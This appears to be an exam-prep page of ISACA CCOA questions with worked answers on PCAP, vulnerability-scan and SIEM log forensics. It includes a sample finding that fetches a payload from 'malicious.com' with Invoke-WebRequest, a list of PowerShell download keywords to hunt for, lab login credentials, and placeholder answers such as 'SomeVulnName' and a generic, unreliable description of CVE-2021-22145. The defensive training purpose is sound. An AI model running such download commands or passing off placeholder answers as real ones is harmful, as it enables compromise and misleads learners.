Isaca Updated CCOA Exam Questions and Answers by hayden

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

OpenFirefoxon your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

ClickLoginto access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the"Scans"menu on the left panel.

Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check thedate and timeof the last completed scan, as your colleague likely used the latest one.

Click on theReport NameorDateto open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the"Search"or"Filter"box at the top.

Enter the CVE identifier:

CVE-2021-22145

PressEnterto filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected byCVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP

Vulnerability ID

CVE

Severity

192.168.1.100

SomeVulnName

CVE-2021-22145

High

Step 6: Verify the Vulnerability

Click on the host IP to see thedetailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is thevulnerable machine.

Example Answer:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machineto prevent exploitation.

Patch or updatethe software affected by CVE-2021-22145.

Perform a quick re-scanto ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as aPDForHTMLfrom the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:

Step 1: Access the Alert Bulletin

Locate the alert file:

Access thealerts folderon your system.

Look for the file named:

Open the file:

Use a PDF reader to examine the contents.

Step 2: Understand the Alert Context

The bulletin indicates that the network was compromised at around11:00 PM.

You need to identify themalicious filespecificallycaptured at 11:04 PM.

Step 3: Access System Logs

Use yourSIEMorlog management systemto examine recent logs.

Filter the logs to narrow down the events:

Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.

Keyword:process.executable.

Example SIEM Query:

index=system_logs

| search "process.executable"

| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"

| table _time, process_name, executable_path, hash

Step 4: Analyze Log Entries

The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.

Focus on entries that:

Appear unusual or suspicious.

Match known indicators from thealert bulletin (alert_33.pdf).

Example Log Output:

_time process_name executable_path hash

2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...

Step 5: Cross-Reference with Known Threats

Check the hash of the executable file against:

VirusTotalor internal threat intelligence databases.

Cross-check the file name with indicators mentioned in the alert bulletin.

Step 6: Final Confirmation

The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.

The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe

Step 7: Take Immediate Remediation Actions

Isolate the affected hostto prevent further damage.

Quarantine the malicious filefor analysis.

Conduct a full forensic investigationto assess the scope of the compromise.

Update threat signaturesand indicators across the environment.

Step 8: Report and Document

Document the incident, including:

Time of detection:11:04 PM on August 19, 2024.

Malicious file name:evil.exe.

Location:C:\Users\Public\evil.exe.

Generate an incident reportfor further investigation.